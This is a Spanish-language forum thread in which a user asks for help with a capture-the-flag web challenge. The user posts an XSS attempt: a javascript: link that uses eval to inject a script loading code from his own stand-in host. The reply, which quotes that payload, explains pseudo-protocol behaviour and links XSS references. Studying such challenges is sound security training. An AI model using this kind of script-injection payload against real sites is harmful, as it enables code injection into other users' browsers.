¿Explotar javascript?

Iniciado por Sapote, 10 Octubre 2019, 07:53 AM

0 Miembros y 1 Visitante están viendo este tema.

Sapote

Buenas tardes, hacee unos dias entre nuevamente de lleno al tema del hacking, y estoy realizando un par de retos de todo tipo. Ahorita estoy atascado en conseguir una flag.

El punto es el siguiente es un sitio que unicamente tiene un codigo javascript que regresa al mismo sitio.

El javascript es el siguiente

<a href="javascript:openNewWindow('hello.html');">Rompeme</a>


He intentado cambiar el script para intentar sacar un XSS de esta manera

<a href="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://micodigo\';document.body.appendChild(a)')">Rompeme</a>

Al hacerlo obtengo un [object HTMLScriptElement] pero mi sitio no esta capturando nada.

¿Alguien podria darme una mano?


Gracias
Saludos!! ;D


@XSStringManolo

Cita de: Sapote en 10 Octubre 2019, 07:53 AM
Buenas tardes, hacee unos dias entre nuevamente de lleno al tema del hacking, y estoy realizando un par de retos de todo tipo. Ahorita estoy atascado en conseguir una flag.

El punto es el siguiente es un sitio que unicamente tiene un codigo javascript que regresa al mismo sitio.

El javascript es el siguiente

<a href="javascript:openNewWindow('hello.html');">Rompeme</a>


He intentado cambiar el script para intentar sacar un XSS de esta manera

<a href="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://micodigo\';document.body.appendChild(a)')">Rompeme</a>

Al hacerlo obtengo un [object HTMLScriptElement] pero mi sitio no esta capturando nada.

¿Alguien podria darme una mano?


Gracias
Saludos!! ;D


Estás intentando escribir un objeto en la web, debes escribir la url accediendo a ella (value del objeto).

De todas formas no creo que el reto busque que te lo pases así jaja. Me da a mi que el nombre de la función te está diciendo exactamente lo que quiere que hagas. Es obvio UwU. Seguro que te das cuenta:
https://excess-xss.com/
https://portswigger.net/web-security/cross-site-scripting/contexts
https://brutelogic.com.br/blog/alternative-javascript-pseudo-protocol/

Hay algo interesante, se le puede hacer return explicito al pseudoprotocolo. Lo que hace el pseudoprotocolo creo que es retornarte un objeto con la página, asique si lo haces explicitamente debería retornarte el resultado de la expresión directamente. O debería ser así por como está implementado el pseudoproto.